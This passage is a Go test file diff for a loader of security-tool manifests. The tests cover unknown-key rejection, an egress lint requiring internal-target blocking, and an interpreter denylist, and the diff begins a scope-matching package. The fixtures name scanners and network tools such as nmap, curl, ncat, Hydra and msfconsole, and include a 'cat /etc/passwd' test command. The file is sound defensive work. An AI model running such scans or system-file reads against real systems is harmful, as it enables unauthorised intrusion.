+[args.mode] +position = 1 +required = true +type = "enum" +allowed = ["fast"] + +[command] +exec = ["echo", "--f={_mode_flags}"] + +[command.mappings.mode] +fast = "-T4" +`) + _, err := LoadManifest(p) + if err == nil || !strings.Contains(err.Error(), "'{_mode_flags}' "+want) { + t.Fatalf("expected glued mapping var rejection, got %v", err) + } + + p = writeTmp(t, manifestHeader+` +[args.headers] +position = 1 +required = false +type = "string" + +[command] +exec = ["echo", "x{_hf}"] + +[command.conditionals.hf] +when = "headers != ''" +template = "-H {headers}" +`) + _, err = LoadManifest(p) + if err == nil || !strings.Contains(err.Error(), "'{_hf}' "+want) { + t.Fatalf("expected glued conditional var rejection, got %v", err) + } +} + +// --- Unknown manifest keys (SEMANTICS.md W2) --- + +func TestUnknownToolKeyRefused(t *testing.T) { + p := writeTmp(t, ` +[tool] +name = "x" +version = "1.0.0" +binary = "echo" +tiemout_seconds = 5 + +[command] +exec = ["echo"] + +[output] +format = "text" +`) + _, err := LoadManifest(p) + if err == nil { + t.Fatal("expected misspelled tool key to be refused") + } + if !strings.Contains(err.Error(), "unknown key 'tool.tiemout_seconds' in manifest") { + t.Errorf("error must name the key: %v", err) + } +} + +func TestUnknownArgKeyRefused(t *testing.T) { + p := writeTmp(t, manifestHeader+` +[args.target] +position = 1 +required = true +type = "scope_target" +block_internal_typo = true + +[command] +exec = ["echo", "{target}"] +`) + _, err := LoadManifest(p) + if err == nil || !strings.Contains(err.Error(), "unknown key 'args.target.block_internal_typo' in manifest") { + t.Fatalf("expected args.target.block_internal_typo to be refused, got %v", err) + } +} + +func TestUnknownSectionKeysRefused(t *testing.T) { + cases := []struct { + name string + body string + want string + }{ + { + name: "command", + body: ` +[command] +exec = ["echo"] +shell = true +`, + want: "unknown key 'command.shell' in manifest", + }, + { + name: "output", + body: ` +[command] +exec = ["echo"] + +[output] +formatt = "text" +`, + want: "unknown key 'output.formatt' in manifest", + }, + { + name: "http", + body: ` +[http] +method = "GET" +url = "https://example.com/" +verify_tls = false + +[output] +format = "json" +`, + want: "unknown key 'http.verify_tls' in manifest", + }, + { + name: "conditional", + body: ` +[args.rate] +position = 1 +required = false +type = "integer" + +[command] +exec = ["echo", "{_rate_flag}"] + +[command.conditionals.rate_flag] +whenn = "rate != ''" +template = "--rate {rate}" + +[output] +format = "text" +`, + want: "unknown key 'command.conditionals.rate_flag.whenn' in manifest", + }, + { + name: "session", + body: ` +[session] +startup_command = "sh" +ready_patern = "> " + +[output] +format = "text" +`, + want: "unknown key 'session.ready_patern' in manifest", + }, + { + name: "browser", + body: ` +[browser] +engine = "chromium" +headles = true + +[output] +format = "text" +`, + want: "unknown key 'browser.headles' in manifest", + }, + } + header := ` +[tool] +name = "x" +version = "1.0.0" +binary = "echo" +` + for _, c := range cases { + t.Run(c.name, func(t *testing.T) { + p := writeTmp(t, header+c.body) + _, err := LoadManifest(p) + if err == nil || !strings.Contains(err.Error(), c.want) { + t.Fatalf("want %q in error, got %v", c.want, err) + } + }) + } +} + +func TestUnknownKeysReportedTogetherSorted(t *testing.T) { + p := writeTmp(t, ` +[tool] +name = "x" +version = "1.0.0" +binary = "echo" +zzz_last = 1 +tiemout_seconds = 5 + +[args.target] +position = 1 +required = true +type = "scope_target" +block_internal_typo = true + +[command] +exec = ["echo", "{target}"] +shell = true + +[output] +format = "text" +formatt = "text" +`) + _, err := LoadManifest(p) + if err == nil { + t.Fatal("expected error") + } + msg := err.Error() + want := []string{ + "unknown key 'args.target.block_internal_typo' in manifest", + "unknown key 'command.shell' in manifest", + "unknown key 'output.formatt' in manifest", + "unknown key 'tool.tiemout_seconds' in manifest", + "unknown key 'tool.zzz_last' in manifest", + } + last := -1 + for _, w := range want { + idx := strings.Index(msg, w) + if idx < 0 { + t.Errorf("error must name %q: %s", w, msg) + continue + } + if idx < last { + t.Errorf("unknown keys must be sorted; %q out of order in: %s", w, msg) + } + if strings.Count(msg, w) != 1 { + t.Errorf("%q must be reported exactly once: %s", w, msg) + } + last = idx + } +} + +func TestUnknownTableReportedByItsOwnPath(t *testing.T) { + p := writeTmp(t, manifestHeader+` +[command] +exec = ["echo"] + +[sandbox] +enabled = true +level = 2 +`) + _, err := LoadManifest(p) + if err == nil { + t.Fatal("expected unknown table to be refused") + } + msg := err.Error() + if !strings.Contains(msg, "unknown key 'sandbox' in manifest") { + t.Errorf("unknown table must be reported by its own path: %s", msg) + } + if strings.Contains(msg, "sandbox.enabled") || strings.Contains(msg, "sandbox.level") { + t.Errorf("entries beneath an unknown table must not be reported separately: %s", msg) + } +} + +func TestAllowUnknownKeysDowngradesToWarning(t *testing.T) { + src := ` +[tool] +name = "x" +version = "1.0.0" +binary = "echo" +tiemout_seconds = 5 + +[command] +exec = ["echo"] +shell = true + +[output] +format = "text" +` + p := writeTmp(t, src) + + // The strict entry points stay strict. + if _, err := LoadManifest(p); err == nil { + t.Fatal("LoadManifest must stay strict") + } + if _, err := LoadManifestWithOptions(p, LoadOptions{}); err == nil { + t.Fatal("zero LoadOptions must be strict") + } + + var buf bytes.Buffer + old := WarningOutput + WarningOutput = &buf + defer func() { WarningOutput = old }() + + m, err := LoadManifestWithOptions(p, LoadOptions{AllowUnknownKeys: true}) + if err != nil { + t.Fatalf("AllowUnknownKeys must load: %v", err) + } + if m.Tool.Name != "x" { + t.Errorf("manifest not loaded: %+v", m.Tool) + } + out := buf.String() + for _, w := range []string{ + "warning: unknown key 'command.shell' in manifest\n", + "warning: unknown key 'tool.tiemout_seconds' in manifest\n", + } { + if !strings.Contains(out, w) { + t.Errorf("expected %q on WarningOutput, got %q", w, out) + } + } +} + +func TestOpenMapKeysNotReported(t *testing.T) { + p := writeTmp(t, ` +[tool] +name = "x" +version = "1.0.0" +binary = "echo" + +[args.mode] +position = 1 +required = true +type = "enum" +allowed = ["fast"] + +[command] +exec = ["echo", "{anything}", "{_mode_flags}"] + +[command.defaults] +anything = "goes" +other = 5 + +[command.defaults.nested] +deeper = true + +[command.mappings.mode] +fast = "-T4" + +[output] +format = "json" + +[output.schema] +type = "object" + +[output.schema.properties.raw_output] +type = "string" +description = "nested schema tables are author-defined" + +[output.schema.properties.hosts.items.properties.port] +type = "integer" + +[http] +method = "GET" +url = "https://example.com/" + +[http.headers] +Accept = "application/json" +X-Anything = "allowed" + +[mcp] +server = "mcp://example.com" +tool = "scan" + +[mcp.field_map] +mode = "speed" +`) + m, err := LoadManifest(p) + if err != nil { + t.Fatalf("author-chosen keys under open maps must load: %v", err) + } + if m.Command.Defaults["anything"] != "goes" { + t.Errorf("command.defaults not decoded: %v", m.Command.Defaults) + } + if m.Http.Headers["X-Anything"] != "allowed" { + t.Errorf("http.headers not decoded: %v", m.Http.Headers) + } + if m.Mcp.FieldMap["mode"] != "speed" { + t.Errorf("mcp.field_map not decoded: %v", m.Mcp.FieldMap) + } + if _, ok := m.Output.Schema["properties"]; !ok { + t.Errorf("output.schema not decoded: %v", m.Output.Schema) + } +} + +// TestEveryAllowlistedKeyAccepted exercises every key in the SEMANTICS.md W2 +// allowlist so the Go struct tags cannot drift from the other runtimes. +func TestEveryAllowlistedKeyAccepted(t *testing.T) { + oneshot := writeTmp(t, ` +[tool] +name = "all_keys" +version = "1.0.0" +binary = "echo" +description = "exercises every oneshot key" +timeout_seconds = 30 +risk_tier = "low" +human_approval = false +dispatch = "exec" +mode = "oneshot" +network_egress = true +allow_interpreter = false + +[tool.cedar] +resource = "Tool::AllKeys" +action = "execute_tool" + +[tool.evidence] +output_dir = "{evidence_dir}/{scan_id}" +capture = true +hash = "sha256" +screenshots = false + +[tool.limits] +nproc = 64 +nofile = 256 +fsize_bytes = 1048576 +address_space_bytes = 536870912 +cpu_seconds = 30 + +[args.target] +position = 1 +required = true +type = "scope_target" +description = "target" +default = "example.com" +allowed = [] +pattern = "^[a-z.]+$" +sanitize = ["injection"] +min = 1 +max = 10 +min_float = 0.5 +max_float = 9.5 +clamp = true +schemes = ["https"] +scope_check = false +block_internal = true +allow_leading_dash = false +allow_whitespace = false + +[args.mode] +position = 2 +required = false +type = "enum" +allowed = ["fast", "slow"] +default = "fast" + +[command] +template = "echo {target}" +exec = ["echo", "{target}", "{_mode_flags}", "{_rate}", "{maxtime}"] +executor = "" +end_of_options = "--" + +[command.defaults] +maxtime = "600s" + +[command.mappings.mode] +fast = "-T4" +slow = "-T1" + +[command.conditionals.rate] +when = "target != ''" +template = "--rate 10" + +[output] +format = "json" +parser = "builtin:json" +envelope = true +max_bytes = 1024 + +[output.schema] +type = "object" + +[output.schema.properties.raw_output] +type = "string" + +[http] +method = "POST" +url = "https://api.example.com/scan" +body_template = "{\"target\": \"{target}\"}" +success_status = [200] +error_status = [500] + +[http.headers] +Accept = "application/json" + +[mcp] +server = "mcp://example.com" +tool = "remote_scan" + +[mcp.field_map] +target = "host" +`) + m, err := LoadManifest(oneshot) + if err != nil { + t.Fatalf("every allowlisted oneshot key must load: %v", err) + } + if !m.Tool.NetworkEgress || m.Tool.AllowInterpreter || m.Tool.Mode != "oneshot" { + t.Errorf("tool keys not decoded: %+v", m.Tool) + } + if m.Tool.Limits == nil || m.Tool.Limits.Nproc == nil || *m.Tool.Limits.Nproc != 64 || + m.Tool.Limits.CPUSeconds == nil || *m.Tool.Limits.CPUSeconds != 30 { + t.Errorf("tool.limits not decoded: %+v", m.Tool.Limits) + } + if m.Tool.Evidence == nil || m.Tool.Evidence.Screenshots { + t.Errorf("tool.evidence.screenshots not decoded: %+v", m.Tool.Evidence) + } + if !m.Args["target"].BlockInternal { + t.Errorf("args.target.block_internal not decoded: %+v", m.Args["target"]) + } + if m.Output.MaxBytes == nil || *m.Output.MaxBytes != 1024 || m.Output.MaxBytesLimit() != 1024 { + t.Errorf("output.max_bytes not decoded: %+v", m.Output) + } + + sessionBrowser := writeTmp(t, ` +[tool] +name = "session_browser" +version = "1.0.0" +binary = "msfconsole" +description = "exercises every session and browser key" +mode = "session" + +[session] +startup_command = "msfconsole -q" +ready_pattern = "msf6 >" +startup_timeout_seconds = 60 +idle_timeout_seconds = 300 +session_timeout_seconds = 3600 +max_interactions = 100 + +[session.interaction] +input_sanitize = ["injection"] +output_max_bytes = 1048576 +output_wait_ms = 500 + +[session.commands.set_target] +pattern = "set RHOSTS {target}" +description = "Set the target" +risk_tier = "low" +human_approval = false +extract_target = true + +[session.commands.set_target.args.target] +position = 1 +required = true +type = "scope_target" +block_internal = true + +[session.child_detection] +pattern = "^nmap " +type = "oneshot" +manifest = "nmap_scan.clad.toml" + +[browser] +engine = "chromium" +headless = true +connect = "ws://localhost:9222" +extract_mode = "text" +startup_timeout_seconds = 30 +session_timeout_seconds = 600 +idle_timeout_seconds = 120 +max_interactions = 50 + +[browser.defaults] +extract_mode = "markdown" + +[browser.scope] +allowed_domains = ["example.com"] +blocked_domains = ["evil.example"] +allow_external = false + +[browser.commands.navigate] +description = "Open a page" +risk_tier = "low" +human_approval = false + +[browser.commands.navigate.args.url] +position = 1 +required = true +type = "url" +block_internal = true + +[browser.state] +fields = ["url", "title"] + +[output] +format = "text" +`) + m, err = LoadManifest(sessionBrowser) + if err != nil { + t.Fatalf("every allowlisted session/browser key must load: %v", err) + } + if m.Session == nil || m.Session.ChildDetection == nil || + m.Session.ChildDetection.Pattern != "^nmap " || + m.Session.ChildDetection.Type != "oneshot" || + m.Session.ChildDetection.Manifest != "nmap_scan.clad.toml" { + t.Errorf("session.child_detection not decoded: %+v", m.Session) + } + if m.Browser == nil || m.Browser.Defaults == nil || m.Browser.Defaults.ExtractMode != "markdown" { + t.Errorf("browser.defaults not decoded: %+v", m.Browser) + } + if m.Tool.Mode != "session" { + t.Errorf("explicit tool.mode must be kept, got %q", m.Tool.Mode) + } +} + +func TestToolModeValidation(t *testing.T) { + header := ` +[tool] +name = "x" +version = "1.0.0" +binary = "echo" +%s + +[output] +format = "text" +` + derived := []struct { + name string + backend string + want string + }{ + {"oneshot", "\n[command]\nexec = [\"echo\"]\n", "oneshot"}, + {"session", "\n[session]\nstartup_command = \"sh\"\n", "session"}, + {"browser", "\n[browser]\nengine = \"chromium\"\n", "browser"}, + } + for _, c := range derived { + t.Run("derived_"+c.name, func(t *testing.T) { + p := writeTmp(t, strings.Replace(header, "%s", "", 1)+c.backend) + m, err := LoadManifest(p) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if m.Tool.Mode != c.want { + t.Errorf("want derived mode %q, got %q", c.want, m.Tool.Mode) + } + }) + } + + for _, mode := range ToolModes { + p := writeTmp(t, strings.Replace(header, "%s", "mode = \""+mode+"\"", 1)+"\n[command]\nexec = [\"echo\"]\n") + m, err := LoadManifest(p) + if err != nil { + t.Fatalf("mode %q must be accepted: %v", mode, err) + } + if m.Tool.Mode != mode { + t.Errorf("want mode %q, got %q", mode, m.Tool.Mode) + } + } + + p := writeTmp(t, strings.Replace(header, "%s", "mode = \"rocket\"", 1)+"\n[command]\nexec = [\"echo\"]\n") + _, err := LoadManifest(p) + if err == nil || !strings.Contains(err.Error(), "invalid tool.mode 'rocket'") { + t.Fatalf("expected invalid tool.mode error, got %v", err) + } +} + +func TestOutputMaxBytesDefault(t *testing.T) { + p := writeTmp(t, manifestHeader+` +[command] +exec = ["echo"] +`) + m, err := LoadManifest(p) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if m.Output.MaxBytes != nil { + t.Errorf("absent max_bytes must decode as nil, got %v", *m.Output.MaxBytes) + } + if m.Output.MaxBytesLimit() != DefaultOutputMaxBytes || DefaultOutputMaxBytes != 8388608 { + t.Errorf("want default 8388608, got %d", m.Output.MaxBytesLimit()) + } +} + +func TestCaseVariantKeyRefused(t *testing.T) { + // The decoder would fill TimeoutSeconds from a case-variant key; the + // allowlist is exact so the other runtimes and this one agree. + p := writeTmp(t, ` +[tool] +name = "x" +version = "1.0.0" +binary = "echo" +Timeout_Seconds = 5 + +[command] +exec = ["echo"] + +[output] +format = "text" +`) + _, err := LoadManifest(p) + if err == nil || !strings.Contains(err.Error(), "unknown key 'tool.Timeout_Seconds' in manifest") { + t.Fatalf("expected case-variant key to be refused, got %v", err) + } +} + +func TestUnknownKeyInNestedCommandArgsRefused(t *testing.T) { + p := writeTmp(t, ` +[tool] +name = "x" +version = "1.0.0" +binary = "sh" + +[session] +startup_command = "sh" + +[session.commands.set_target] +pattern = "set RHOSTS {target}" +descriptionn = "typo" + +[session.commands.set_target.args.target] +position = 1 +type = "scope_target" +block_internal_typo = true + +[browser] +engine = "chromium" + +[browser.commands.navigate] +description = "x" +risk = "low" + +[browser.commands.navigate.args.url] +type = "url" +schemas = ["https"] + +[output] +format = "text" +`) + _, err := LoadManifest(p) + if err == nil { + t.Fatal("expected error") + } + for _, w := range []string{ + "unknown key 'session.commands.set_target.descriptionn' in manifest", + "unknown key 'session.commands.set_target.args.target.block_internal_typo' in manifest", + "unknown key 'browser.commands.navigate.risk' in manifest", + "unknown key 'browser.commands.navigate.args.url.schemas' in manifest", + } { + if strings.Count(err.Error(), w) != 1 { + t.Errorf("want %q exactly once in: %v", w, err) + } + } +} + +// D5: the egress lint. A manifest that reaches the network — by naming an +// egress binary, by declaring network_egress, or by dispatching through +// [http] or [browser] — must set block_internal on every network-typed +// argument. +func TestEgressLint(t *testing.T) { + const want = "argument 'target' is a network target for an egress binary but block_internal is not set; " + + "set block_internal = true to default-deny internal/SSRF targets" + body := func(tool, args, backend string) string { + return "[tool]\nname = \"t\"\n" + tool + "\n\n[args.target]\nposition = 1\nrequired = true\n" + args + + "\n\n" + backend + "\n\n[output]\nformat = \"text\"\n" + } + cases := []struct { + name string + manifest string + refused bool + }{ + {"curl template without flag", body(``, `type = "scope_target"`, "[command]\ntemplate = \"curl {target}\""), true}, + {"nmap exec without flag", body(``, `type = "scope_target"`, "[command]\nexec = [\"nmap\", \"{target}\"]"), true}, + {"nmap exec with flag", body(``, "type = \"scope_target\"\nblock_internal = true", "[command]\nexec = [\"nmap\", \"{target}\"]"), false}, + {"tool.binary path basename", body(`binary = "/usr/bin/curl"`, `type = "url"`, "[command]\nexec = [\"fetch\", \"{target}\"]"), true}, + {"exec[0] path basename", body(``, `type = "url"`, "[command]\nexec = [\"/opt/bin/WGET\", \"{target}\"]"), true}, + {"quoted template first token", body(``, `type = "url"`, "[command]\ntemplate = \"'curl' {target}\""), true}, + {"network_egress on unlisted binary", body(`network_egress = true`, `type = "ip_address"`, "[command]\nexec = [\"scanner\", \"{target}\"]"), true}, + {"network_egress with flag", body(`network_egress = true`, "type = \"cidr\"\nblock_internal = true", "[command]\nexec = [\"scanner\", \"{target}\"]"), false}, + {"http backend url arg", body(``, `type = "url"`, "[http]\nmethod = \"GET\"\nurl = \"https://example.com/fetch?u={target}\""), true}, + {"http backend with flag", body(``, "type = \"url\"\nblock_internal = true", "[http]\nmethod = \"GET\"\nurl = \"https://example.com/fetch?u={target}\""), false}, + {"browser backend", body(``, `type = "url"`, "[browser]\nengine = \"chromium\""), true}, + {"non-egress whois", body(``, `type = "scope_target"`, "[command]\nexec = [\"whois\", \"{target}\"]"), false}, + {"non-egress binary string arg", body(`binary = "curl"`, `type = "string"`, "[command]\nexec = [\"curl\", \"{target}\"]"), false}, + {"executor only is not inspected", body(``, `type = "scope_target"`, "[command]\nexecutor = \"scripts/curl-wrapper.sh\""), false}, + {"executor with network_egress", body(`network_egress = true`, `type = "scope_target"`, "[command]\nexecutor = \"scripts/curl-wrapper.sh\""), true}, + {"mcp backend is not egress", body(``, `type = "scope_target"`, "[mcp]\nserver = \"mcp://example.com\"\ntool = \"scan\""), false}, + } + for _, c := range cases { + t.Run(c.name, func(t *testing.T) { + _, err := LoadManifest(writeTmp(t, c.manifest)) + if !c.refused { + if err != nil { + t.Fatalf("must load: %v", err) + } + return + } + if err == nil || !strings.Contains(err.Error(), want) { + t.Fatalf("want %q, got %v", want, err) + } + }) + } +} + +// The lint reports the first offending argument in name order and names +// each of the four network types. +func TestEgressLintCoversEveryNetworkType(t *testing.T) { + for _, typ := range []string{"scope_target", "url", "ip_address", "cidr"} { + m := &Manifest{ + Tool: ToolMeta{Name: "t"}, + Args: map[string]*ArgDef{ + "zeta": {Name: "zeta", Type: typ}, + "alpha": {Name: "alpha", Type: typ}, + "port": {Name: "port", Type: "port"}, + }, + Command: CommandDef{Exec: []string{"nmap", "{alpha}", "{zeta}"}}, + } + err := m.LintEgress(nil) + if err == nil || !strings.HasPrefix(err.Error(), "argument 'alpha' is a network target") { + t.Errorf("%s: want alpha reported first, got %v", typ, err) + } + m.Args["alpha"].BlockInternal = true + if err := m.LintEgress(nil); err == nil || !strings.HasPrefix(err.Error(), "argument 'zeta'") { + t.Errorf("%s: want zeta reported next, got %v", typ, err) + } + m.Args["zeta"].BlockInternal = true + if err := m.LintEgress(nil); err != nil { + t.Errorf("%s: all flagged must pass: %v", typ, err) + } + } +} + +// Manifests built in memory get the lint through EnsureCompiled, and a +// failed lint leaves the manifest uncompiled so a retry is not skipped. +func TestEgressLintInEnsureCompiled(t *testing.T) { + m := &Manifest{ + Tool: ToolMeta{Name: "t"}, + Args: map[string]*ArgDef{"target": {Name: "target", Type: "scope_target"}}, + Command: CommandDef{Template: "nmap -sV {target}"}, + } + err := m.EnsureCompiled() + if err == nil || !strings.Contains(err.Error(), "block_internal is not set") { + t.Fatalf("want lint failure, got %v", err) + } + if err := m.EnsureCompiled(); err == nil { + t.Fatal("a second EnsureCompiled must not skip the failed lint") + } + m.Args["target"].BlockInternal = true + if err := m.EnsureCompiled(); err != nil { + t.Fatalf("flagged manifest must compile: %v", err) + } + if !m.compiled || len(m.Command.Exec) != 3 { + t.Errorf("manifest not compiled: compiled=%v exec=%v", m.compiled, m.Command.Exec) + } +} + +func TestIsNetworkEgress(t *testing.T) { + cases := []struct { + name string + m Manifest + want bool + }{ + {"plain", Manifest{Command: CommandDef{Exec: []string{"whois"}}}, false}, + {"flag", Manifest{Tool: ToolMeta{NetworkEgress: true}}, true}, + {"http", Manifest{Http: &HttpDef{}}, true}, + {"browser", Manifest{Browser: &BrowserDef{}}, true}, + {"mcp", Manifest{Mcp: &McpProxyDef{}}, false}, + {"session", Manifest{Session: &SessionDef{}}, false}, + {"binary", Manifest{Tool: ToolMeta{Binary: "nikto"}}, true}, + {"binary windows path", Manifest{Tool: ToolMeta{Binary: `C:\tools\Hydra`}}, true}, + {"binary suffixed", Manifest{Tool: ToolMeta{Binary: "curl.exe"}}, false}, + {"binary unix path", Manifest{Tool: ToolMeta{Binary: "/usr/local/bin/ffuf"}}, true}, + {"exec", Manifest{Command: CommandDef{Exec: []string{"ncat", "-z"}}}, true}, + {"template", Manifest{Command: CommandDef{Template: " ping -c 1 {target}"}}, true}, + {"template later token", Manifest{Command: CommandDef{Template: "timeout 5 curl {target}"}}, false}, + {"executor", Manifest{Command: CommandDef{Executor: "scripts/curl.sh"}}, false}, + {"curl-like name", Manifest{Command: CommandDef{Exec: []string{"curlish"}}}, false}, + } + for _, c := range cases { + if got := c.m.IsNetworkEgress(); got != c.want { + t.Errorf("%s: IsNetworkEgress = %v, want %v", c.name, got, c.want) + } + } +} + +func TestEgressLintCoversNestedCommandArgs(t *testing.T) { + base := ` +[tool] +name = "b" +version = "1.0.0" +binary = "chrome" +description = "x" + +[browser] + +[browser.commands.navigate] +description = "go" + +[browser.commands.navigate.args.url] +position = 1 +required = true +type = "url" +%s +description = "u" + +[output] +format = "json" +` + _, err := LoadManifest(writeTmp(t, fmt.Sprintf(base, ""))) + if err == nil || !strings.Contains(err.Error(), "browser.commands.navigate.args.url") { + t.Fatalf("expected nested browser arg to be linted, got %v", err) + } + if _, err := LoadManifest(writeTmp(t, fmt.Sprintf(base, "block_internal = true"))); err != nil { + t.Fatalf("flagged nested arg should load: %v", err) + } +} + +// W6/W8 load-time spawn checks: interpreter denylist, argv[0] vs +// tool.binary, and a positive timeout. +func TestSpawnPolicyAtLoad(t *testing.T) { + const out = "\n[output]\nformat = \"text\"\n" + cases := []struct { + name string + body string + want string // empty: must load + }{ + {"bash without opt-in", + "[tool]\nname = \"t\"\nbinary = \"bash\"\n\n[command]\nexec = [\"bash\", \"-c\", \"true\"]\n" + out, + "command argv[0] 'bash' is an interpreter; set allow_interpreter = true to permit it"}, + {"bash with opt-in", + "[tool]\nname = \"t\"\nbinary = \"bash\"\nallow_interpreter = true\n\n[command]\nexec = [\"bash\", \"-c\", \"true\"]\n" + out, + ""}, + {"interpreter by path in template", + "[tool]\nname = \"t\"\n\n[command]\ntemplate = \"/usr/bin/python3 -V\"\n" + out, + "command argv[0] '/usr/bin/python3' is an interpreter; set allow_interpreter = true to permit it"}, + {"interpreter as executor", + "[tool]\nname = \"t\"\n\n[command]\nexecutor = \"/usr/bin/env\"\n" + out, + "command argv[0] '/usr/bin/env' is an interpreter; set allow_interpreter = true to permit it"}, + {"basename mismatch", + "[tool]\nname = \"t\"\nbinary = \"echo\"\n\n[command]\nexec = [\"cat\", \"/etc/passwd\"]\n" + out, + "command argv[0] 'cat' does not match tool.binary 'echo'"}, + {"basename match by path", + "[tool]\nname = \"t\"\nbinary = \"/usr/bin/echo\"\n\n[command]\nexec = [\"echo\", \"hi\"]\n" + out, + ""}, + {"empty binary skips match", + "[tool]\nname = \"t\"\n\n[command]\nexec = [\"cat\"]\n" + out, + ""}, + {"executor skips match", + "[tool]\nname = \"t\"\nbinary = \"msfconsole\"\n\n[command]\nexecutor = \"scripts/wrapper.sh\"\n" + out, + ""}, + {"callback skips checks", + "[tool]\nname = \"t\"\nbinary = \"echo\"\ndispatch = \"callback\"\n\n[command]\nexec = [\"bash\"]\n", + ""}, + {"mcp-only skips match", + "[tool]\nname = \"t\"\nbinary = \"echo\"\n\n[mcp]\nserver = \"s\"\ntool = \"x\"\n" + out, + ""}, + {"zero timeout", + "[tool]\nname = \"t\"\nbinary = \"echo\"\ntimeout_seconds = 0\n\n[command]\nexec = [\"echo\", \"hi\"]\n" + out, + "timeout_seconds must be greater than zero"}, + {"negative timeout", + "[tool]\nname = \"t\"\nbinary = \"echo\"\ntimeout_seconds = -1\n\n[command]\nexec = [\"echo\", \"hi\"]\n" + out, + "timeout_seconds must be greater than zero"}, + } + for _, c := range cases { + t.Run(c.name, func(t *testing.T) { + m, err := LoadManifest(writeTmp(t, c.body)) + if c.want == "" { + if err != nil { + t.Fatalf("must load: %v", err) + } + return + } + if err == nil || !strings.Contains(err.Error(), c.want) { + t.Fatalf("want %q, got %v (%+v)", c.want, err, m) + } + }) + } + + // An absent timeout still defaults to 60. + m, err := LoadManifest(writeTmp(t, "[tool]\nname = \"t\"\n\n[command]\nexec = [\"echo\"]\n"+out)) + if err != nil || m.Tool.TimeoutSeconds != 60 { + t.Fatalf("default timeout: %v, %v", m, err) + } +} + +// customTypeManifest declares one argument of type typ. +func customTypeManifest(typ string) string { + return "[tool]\nname = \"ct\"\nversion = \"1.0.0\"\nbinary = \"echo\"\ndescription = \"d\"\n\n" + + "[args.v]\nposition = 1\nrequired = true\ntype = \"" + typ + "\"\n\n" + + "[command]\nexec = [\"echo\", \"{v}\"]\n\n[output]\nformat = \"text\"\n" +} + +func writeFile(t *testing.T, path, body string) { + t.Helper() + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(body), 0o644); err != nil { + t.Fatal(err) + } +} + +func TestCustomTypesDiscoveredUpward(t *testing.T) { + t.Setenv(ConfigEnvVar, "") + root := t.TempDir() + writeFile(t, filepath.Join(root, "toolclad.toml"), "[types.rate]\nbase = \"integer\"\nmin = 1\nmax = 10\n") + mp := filepath.Join(root, "a", "b", "tool.clad.toml") + writeFile(t, mp, customTypeManifest("rate")) + m, err := LoadManifest(mp) + if err != nil { + t.Fatalf("custom type from an ancestor toolclad.toml: %v", err) + } + if ct := m.CustomTypes["rate"]; ct == nil || ct.Base != "integer" { + t.Fatalf("custom types not attached: %+v", m.CustomTypes) + } + + // An unknown type is refused at load with the shared message. + writeFile(t, mp, customTypeManifest("nope")) + if _, err := LoadManifest(mp); err == nil || !strings.Contains(err.Error(), "unknown type 'nope' for argument 'v'") { + t.Errorf("unknown type: got %v", err) + } + + // An explicit table overrides discovery. + writeFile(t, mp, customTypeManifest("rate")) + if _, err := LoadManifestWithOptions(mp, LoadOptions{CustomTypes: map[string]*CustomTypeDef{}}); err == nil { + t.Error("empty CustomTypes must disable discovery") + } +} + +func TestCustomTypesEnvVar(t *testing.T) { + dir := t.TempDir() + mp := filepath.Join(dir, "tool.clad.toml") + writeFile(t, mp, customTypeManifest("rate")) + t.Setenv(ConfigEnvVar, filepath.Join(dir, "missing.toml")) + if _, err := LoadManifest(mp); err == nil || !strings.Contains(err.Error(), ConfigEnvVar) { + t.Errorf("unreadable %s must be an error, got %v", ConfigEnvVar, err) + } + cfg := filepath.Join(dir, "elsewhere.toml") + writeFile(t, cfg, "[types.rate]\nbase = \"integer\"\n") + t.Setenv(ConfigEnvVar, cfg) + if _, err := LoadManifest(mp); err != nil { + t.Errorf("%s: %v", ConfigEnvVar, err) + } +} + +func TestCustomTypesFileRules(t *testing.T) { + bad := map[string]string{ + "unknown top-level key": "[types.rate]\nbase = \"integer\"\n[other]\nx = 1\n", + "unknown type key": "[types.rate]\nbase = \"integer\"\nmaximum = 3\n", + "non-table type": "[types]\nrate = \"integer\"\n", + "custom base": "[types.a]\nbase = \"integer\"\n[types.b]\nbase = \"a\"\n", + "missing base": "[types.rate]\nmin = 1\n", + } + for name, src := range bad { + if _, err := ParseCustomTypes([]byte(src), "toolclad.toml"); err == nil { + t.Errorf("%s: accepted", name) + } + } + good := "[types.port_range]\nbase = \"string\"\npattern = \"^[0-9]+$\"\n" + + "[types.r]\nbase = \"number\"\nmin_float = 0.5\nmax_float = 2.0\n" + + "[types.e]\nbase = \"enum\"\nallowed = [\"a\"]\n[types.i]\nbase = \"integer\"\nmin = 1\nmax = 2\n" + if _, err := ParseCustomTypes([]byte(good), "toolclad.toml"); err != nil { + t.Errorf("every allowed key: %v", err) + } +} + +func TestSessionCommandArgTypesCheckedAtLoad(t *testing.T) { + src := ` +[tool] +name = "s" +version = "1.0.0" +description = "d" + +[session] +startup_command = "msfconsole -q" +ready_pattern = "^msf> $" + +[session.commands.run] +pattern = "^run$" +description = "run" + +[session.commands.run.args.x] +type = "bogus" + +[output] +format = "text" +` + _, err := LoadManifestFromStringWithOptions(src, LoadOptions{CustomTypes: map[string]*CustomTypeDef{}}) + if err == nil || !strings.Contains(err.Error(), "unknown type 'bogus' for argument 'session.commands.run.args.x'") { + t.Errorf("got %v", err) + } +} + +func TestCustomTypeMayNotShadowBuiltin(t *testing.T) { + _, err := ParseCustomTypes([]byte("[types.url]\nbase = \"string\"\n"), "toolclad.toml") + if err == nil || !strings.Contains(err.Error(), "shadows a built-in type") { + t.Fatalf("expected shadowing refusal, got %v", err) + } +} diff --git a/go/pkg/scope/scope.go b/go/pkg/scope/scope.go new file mode 100644 index 0000000..f7ebfb1 --- /dev/null +++ b/go/pkg/scope/scope.go @@ -0,0 +1,322 @@ +// Package scope loads a project scope file (scope/scope.toml) and decides +// whether a target is in scope for an argument that sets scope_check = true. +// +// File format: +// +// [scope] +// allowed_domains = ["example.com", "*.example.com"] +// allowed_cidrs = ["10.0.1.0/24"] +// blocked_domains = [] +// blocked_cidrs = [] +// +// Matching rules: blocked rules are evaluated first and always win. A domain +// rule "example.com" matches exactly that host (case-insensitively); a rule +// "*.example.com" matches a strict subdomain at any depth, never the apex +// and never a mere string suffix such as evil-example.com. An IP matches a +// CIDR rule that contains it; a CIDR subject matches an allowed rule only +// when it is fully contained in it, and a blocked rule when it overlaps it +// at all. Anything that matches no allowed rule is out of scope, so a file +// whose allowed lists are empty puts nothing in scope. +package scope + +import ( + "errors" + "fmt" + "net/netip" + 